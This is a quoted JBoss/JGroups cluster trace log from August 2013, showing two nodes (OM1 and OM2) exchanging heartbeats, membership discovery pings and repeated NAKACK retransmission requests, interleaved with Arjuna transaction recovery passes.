> 2013-08-30 09:49:35,123 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,544 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 7 (7)], OM1:1299: [1 : 8 (10)], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,544 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#8
> 2013-08-30 09:49:35,544 TRACE [Retransmitter] (OOB-19,null) added range OM2:1299 [7]
> 2013-08-30 09:49:35,544 TRACE [STABLE] (OOB-19,null) OM1:1299: handling digest from OM2:1299 (0 votes):
> mine:   [OM1:1299#6, OM2:1299#0]
> other:  [OM1:1299#8, OM2:1299#7]
> result: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:35,856 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:35,856 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,856 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:35,856 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,856 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,137 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,465 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:36,465 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:37,666 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:37,666 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:40,068 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:40,068 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:44,218 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:44,218 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#9
> 2013-08-30 09:49:44,218 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:44,873 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:44,873 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:45,872 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:45,872 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:45,872 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:46,152 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,149 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,149 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#10
> 2013-08-30 09:49:48,149 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:49,678 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:49,678 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== SCANNING
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread scanning
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) Periodic recovery first pass at Fri, 30 Aug 2013 09:49:52
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule first pass
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) processing /StateManager/BasicAction/TwoPhaseCoordinator/AtomicAction transactions
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:52,673 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - first pass
> 2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:52,689 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - first pass
> 2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:54,483 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:54,483 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:55,887 DEBUG [FD] (Timer-2,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:55,887 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:55,887 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,168 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
> 2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
> 2013-08-30 09:49:57,837 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,837 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#11
> 2013-08-30 09:49:57,837 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [NAKACK] (Incoming-8,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:58,523 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 2 total (2 servers (1 coord), 0 clients)
> 2013-08-30 09:49:58,523 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
> [OM1:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]
> [OM2:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:59,288 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:59,288 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) Periodic recovery second pass at Fri, 30 Aug 2013 09:50:02
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule second pass
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - second pass
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - second pass
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.transactionInitiatedRecovery completed
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.resourceInitiatedRecovery completed
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== INACTIVE
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread backing off
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [NAKACK] (Incoming-11,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#10, OM2:1299#6]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stable msg [OM1:1299#10, OM2:1299#6]
> 2013-08-30 09:50:04,030 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#11
> 2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:04,030 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#11
> 2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (1 votes):
> mine:   [OM1:1299#6, OM2:1299#0]
